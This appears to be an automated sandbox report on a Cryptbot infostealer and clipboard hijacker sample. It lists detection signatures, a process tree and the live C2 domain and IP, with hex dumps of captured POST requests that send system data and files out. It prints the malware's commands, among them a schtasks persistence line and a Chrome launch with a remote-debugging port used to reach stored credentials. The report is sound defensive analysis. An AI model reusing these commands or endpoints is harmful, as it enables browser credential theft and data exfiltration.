Edit tour

Windows Analysis Report
U6mwWZlkzH.exe

Overview

General Information

Sample name:	U6mwWZlkzH.exe renamed because original name is a hash value
Original sample name:	c640a058cdfe8c320e2386c8d67382d1.exe
Analysis ID:	1577879
MD5:	c640a058cdfe8c320e2386c8d67382d1
SHA1:	e036827bcbbbaf67892aa19e2e1b1ffe5b83d2b8
SHA256:	c26861430d8dabfd4ad23d387928b14a269071468a33ff37f9a32638341972e3
Tags:	exeuser-abuse_ch
Infos:

Detection

Clipboard Hijacker, Cryptbot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Clipboard Hijacker

Yara detected Cryptbot

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops large PE files

Found evasive API chain (may stop execution after checking mutex)

Found stalling execution ending in API Sleep call

Hides threads from debuggers

Leaks process information

Machine Learning detection for sample

PE file contains section with special chars

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Detected potential crypto function

Drops PE files

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

U6mwWZlkzH.exe (PID: 7960 cmdline: "C:\Users\user\Desktop\U6mwWZlkzH.exe" MD5: C640A058CDFE8C320E2386C8D67382D1)

chrome.exe (PID: 6264 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5356 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 --field-trial-handle=2300,i,5075374179690166749,1379577814548213124,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

service123.exe (PID: 2004 cmdline: "C:\Users\user\AppData\Local\Temp\service123.exe" MD5: 3CC1C5052A82B7C4BC992B0033C9A592)

schtasks.exe (PID: 6164 cmdline: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 7366FBEFE66BA0F1F5304F7D6FEF09FE)

WerFault.exe (PID: 6996 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7960 -s 1752 MD5: F5210A4A7E411A1BAD3844586A74B574)

service123.exe (PID: 1680 cmdline: "C:\Users\user\AppData\Local\Temp\/service123.exe" MD5: 3CC1C5052A82B7C4BC992B0033C9A592)

service123.exe (PID: 5952 cmdline: "C:\Users\user\AppData\Local\Temp\/service123.exe" MD5: 3CC1C5052A82B7C4BC992B0033C9A592)

service123.exe (PID: 6792 cmdline: "C:\Users\user\AppData\Local\Temp\/service123.exe" MD5: 3CC1C5052A82B7C4BC992B0033C9A592)

service123.exe (PID: 2564 cmdline: "C:\Users\user\AppData\Local\Temp\/service123.exe" MD5: 3CC1C5052A82B7C4BC992B0033C9A592)

service123.exe (PID: 436 cmdline: "C:\Users\user\AppData\Local\Temp\/service123.exe" MD5: 3CC1C5052A82B7C4BC992B0033C9A592)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Malware Configuration

Threatname: Cryptbot

{"C2 list": ["home.fivetk5pn.top"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: service123.exe PID: 2004	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
9.2.service123.exe.6cff0000.1.unpack	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, CommandLine: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\U6mwWZlkzH.exe", ParentImage: C:\Users\user\Desktop\U6mwWZlkzH.exe, ParentProcessId: 7960, ParentProcessName: U6mwWZlkzH.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f, ProcessId: 6164, ProcessName: schtasks.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\U6mwWZlkzH.exe", ParentImage: C:\Users\user\Desktop\U6mwWZlkzH.exe, ParentProcessId: 7960, ParentProcessName: U6mwWZlkzH.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", ProcessId: 6264, ProcessName: chrome.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Suricata Signatures

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T20:56:55.775840+0100	2054350	1	A Network Trojan was detected	192.168.2.3	49799	185.185.71.170	80	TCP
2024-12-18T20:56:57.430078+0100	2054350	1	A Network Trojan was detected	192.168.2.3	49806	185.185.71.170	80	TCP
2024-12-18T20:57:06.810383+0100	2054350	1	A Network Trojan was detected	192.168.2.3	49838	185.185.71.170	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: U6mwWZlkzH.exe

Avira: detected

Antivirus detection for URL or domain

Source: home.fivetk5pn.top

Avira URL Cloud: Label: malware

Found malware configuration

Source: U6mwWZlkzH.exe.7960.0.memstrmin

Malware Configuration Extractor: Cryptbot {"C2 list": ["home.fivetk5pn.top"]}

Multi AV Scanner detection for submitted file

Source: U6mwWZlkzH.exe

ReversingLabs: Detection: 68%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: U6mwWZlkzH.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_005215B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext,		9_2_005215B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6CFF14B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext,		9_2_6CFF14B0

Source: U6mwWZlkzH.exe, 00000000.00000003.1386083154.0000000007B65000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_79fc2af3-6

Source: U6mwWZlkzH.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: C:\Users\user\AppData\Local\Google\	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	File opened: C:\Users\user\.ms-ad\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then lea ecx, dword ptr [esp+04h]	9_2_005281E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6D06AD20
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6D06AD20
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6D06AC70
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6D00AF80
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	9_2_6D092EF0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, 6D0CF960h	9_2_6D00E8C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	9_2_6D01E490
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	9_2_6D01E490
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, ecx	9_2_6D0904E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	9_2_6D0104F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	9_2_6D01A720
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	9_2_6D01A790
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	9_2_6D01A790
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	9_2_6D010610
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [6D0CD014h]	9_2_6D0C4110
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	9_2_6D010010
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	9_2_6D01A330
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	9_2_6D01A3A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+08h]	9_2_6D01A3A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6D014203
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebx	9_2_6D098250
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx]	9_2_6D01C2C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6D06BDF0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6D06BF50
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [ecx+04h]	9_2_6D049F90
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	9_2_6D0A9900
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	9_2_6D049910
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	9_2_6D02B987
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	9_2_6D02B98B
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6D06BAC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push esi	9_2_6D067AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then lea eax, dword ptr [ecx+08h]	9_2_6D01D5A4
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push edi	9_2_6D0635F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then lea eax, dword ptr [ecx+0Ch]	9_2_6D01D424
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, 6D0CDFF4h	9_2_6D063440
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then lea eax, dword ptr [ecx+04h]	9_2_6D01D724
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebx	9_2_6D087100
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6D01D050
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	9_2_6D0693B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then sub esp, 1Ch	9_2_6D06B280
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4x nop then push ebp	9_2_6D01D2B4

Source: chrome.exe

Memory has grown: Private usage: 21MB later: 33MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.3:49799 -> 185.185.71.170:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.3:49806 -> 185.185.71.170:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.3:49838 -> 185.185.71.170:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: home.fivetk5pn.top

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /vJNDHPUXPCEIZZjTPbLp1734325090 HTTP/1.1Host: home.fivetk5pn.topAccept: /Content-Type: application/jsonContent-Length: 497367Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 35 31 37 38 33 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3
Source: global traffic	HTTP traffic detected: GET /vJNDHPUXPCEIZZjTPbLp1734325090?argument=5MJ32OE1JnTo8LmP1734551788 HTTP/1.1Host: home.fivetk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5pn.topAccept: /Content-Length: 463Content-Type: multipart/form-data; boundary=------------------------hYgyc47CvUaxH1oiZAIKP6Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 68 59 67 79 63 34 37 43 76 55 61 78 48 31 6f 69 5a 41 49 4b 50 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 6f 63 69 76 61 6d 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 3f d6 3b 3a 9e 2b c5 0a 3c 0e b3 87 62 27 6f b0 65 97 e0 98 f4 27 a0 9f ae 34 22 31 37 e2 8a 7f 16 f8 17 9c 83 49 84 0f 91 3a 88 0a 59 55 8f 23 4c d9 7b 0f dd b4 df ef 44 33 c6 c9 31 31 b0 e2 08 e5 4b b3 98 3f 0c c2 e0 f6 6e 23 9d bf 1c 35 4e 14 03 ff 33 6f bb a1 b2 20 44 73 0e 01 0f 63 ed 4e b2 ef 3e 32 8c 5b c7 ff de 9d e3 73 bc c2 e5 da 7d fe 21 5d 45 db 2a 3d 75 10 df 45 95 34 5d 04 f3 2d 15 56 ca 8b ef c8 2b 4e 08 66 fc 15 07 4a 38 e9 6e 7a 45 bf 93 35 0d 8a ae ce 56 0b e3 b6 f0 c0 8c 02 4a 66 87 9f ed 7d 9d 39 c7 76 77 74 15 d6 7c 8e 2f 5c 20 e0 fb be 6c df 50 04 82 be ed 2e 91 4d 25 65 98 7e be e2 0b b3 a9 11 ef de 86 5f ce 10 df 6c 0d cf 4e 2f 0e 91 4f 5c a7 f9 38 92 c5 52 cc 66 a0 c6 8c 6c 8d 57 59 78 3c a7 c9 d1 0f 7f 99 c2 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 68 59 67 79 63 34 37 43 76 55 61 78 48 31 6f 69 5a 41 49 4b 50 36 2d 2d 0d 0a Data Ascii: --------------------------hYgyc47CvUaxH1oiZAIKP6Content-Disposition: form-data; name="file"; filename="Gocivam.bin"Content-Type: application/octet-stream?;:+<b'oe'4"17I:YU#L{D311K?n#5N3o DscN>2[s}!]E*=uE4]-V+NfJ8nzE5VJf}9vwt\|/\ lP.M%e~_lN/O\8RflWYx<--------------------------hYgyc47CvUaxH1oiZAIKP6--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5pn.topAccept: /Content-Length: 81420Content-Type: multipart/form-data; boundary=------------------------dUjbNuo18TADmEBcwZXxPUData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 55 6a 62 4e 75 6f 31 38 54 41 44 6d 45 42 63 77 5a 58 78 50 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 57 75 6d 69 6b 65 63 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 33 cf 82 c2 f8 60 6b 75 23 9a fb e0 ce b0 11 37 4e 43 9f dd c2 d6 7c 4c 40 4a e7 8e 6f 6b ee 08 c4 32 aa 31 f2 be 06 77 31 9f b0 a1 67 39 42 9e c3 ae eb 7b 2e a2 3c 42 1d 59 a4 4a aa 32 bc 35 47 62 67 5c 53 42 6e e6 eb 96 42 f3 38 3e 0f 4d db e3 7b fe 43 13 d4 d3 59 dd b7 cf ea a4 e4 b9 12 fd 4f 1e 5f 82 34 0a 02 17 ad c8 ad 94 e2 a0 a8 a6 4d b5 dc e4 98 62 81 f5 d5 a4 21 95 7c 98 10 a0 3a 63 b2 68 38 6e 7a 42 08 0f 05 2f e1 95 c1 78 30 97 c2 20 28 6e c1 5d db 1b 8c 39 d7 72 69 db d2 96 02 69 02 54 c3 ed e0 eb 8d 4b 39 f4 20 c9 d3 bc 1e 6c e9 ca d3 d9 a5 f7 f8 00 84 61 18 b7 f1 bf ee d7 c5 1f b3 d2 12 f8 bc 80 5b 20 20 22 75 ee e2 de d2 ad f4 39 87 b3 f0 50 d1 ba dd ae cb a1 c1 e7 bb 36 c2 88 1a ac 7c dc 59 44 fd 2e 56 42 d7 6b 9b 52 47 cf 86 0a 42 5e 1d ec 90 34 37 48 51 c7 11 b0 c3 fc 08 a0 0c 15 d3 01 00 50 a7 af 6c e3 d5 68 8b 36 19 1a 4a ca cb a2 bc fa e6 7c 2c 47 23 f8 28 54 0d 75 d0 5b 5c 98 2f 33 89 0b 27 ed 8e 38 bf 1b 2a a0 53 ee f3 4b 98 66 d5 75 f0 7f 3f a5 55 21 dd b8 ee a2 57 bb 04 a9 2f 70 76 79 aa ea 21 11 f7 f8 c8 93 d1 4e 9e d7 7e 3c 3b 15 9e ec 3c 82 ac c8 09 b9 d8 5e e0 dd 11 78 1e bf 25 5c f2 d8 a5 fe 98 84 0f 1c 52 9b b8 9d 04 7a e9 0a 07 5f d8 b5 33 a9 50 fb c3 cd 00 5e 65 33 da 5d 6b 5a 80 3a ea bf 31 9f 44 1a ff 8d fd b2 a4 ab da 18 e3 3a a2 22 87 f3 95 de 94 66 a2 df 0d ba b2 a7 d4 e4 94 13 ba df 86 5c 7b bc d2 20 b4 54 c8 02 a1 34 d2 14 1b 48 10 f8 83 c9 b4 ab 88 1b 9a b0 78 73 67 fb da de b8 02 e3 14 05 d9 65 e6 98 cb 98 76 42 f1 c1 cd 81 38 ea a0 13 55 e1 a7 7c 8e a8 4c fb 8f 10 88 85 a7 bf 99 72 fb a7 95 4c 6e 74 13 30 b9 83 68 5b 5e fa f0 99 82 0f 00 c2 d5 40 ad 15 28 2b ad a0 87 2a 7a a8 ab d2 e8 70 0c 82 0f fa 76 bb a2 7c d5 c0 3e 64 9e 03 14 cb 90 fd b8 94 1a b7 44 7d aa 17 73 62 24 3e 66 2e e0 9b 3a cc c7 34 89 74 d5 c5 86 c8 d6 1e 68 76 02 e7 de 65 df fd 9e a6 c9 ba 96 09 99 73 f7 b9 51 e2 fa b8 8f a6 bf 87 83 d9 aa 04 b0 e1 53 dc 22 b2 64 bb 31 81 fd 52 9f b5 21 23 4c ed 16 4c 67 ee a7 8b e0 9b b6 49 43 7f f6 f6 01 4e 9e 35 e9 21 9c 66 58 0c af 80 39 74 10 26 5a 8a d6 ad f2 bc 9d 07 5c fd c4 03 14 c0 26 1f 22 aa f4 3a 90 c1 fc e9 e7 66 8e 64 c3 81 d5 1e b9 09 6f 75 2a b9 3e f2 b5 40 4f 9d a6 f0 0d b5 b2 26 4c f8 a6 19 af 80 45 e0 ad a1 4d a5 13 7c 63 24 f5 e9 ac fa e7 7f e4 51 f3 53 6a 80 cd df 0e 8a c0 b0 a3 41 31 01 98 e0 e8 fb f2 da bf 20 09 bc
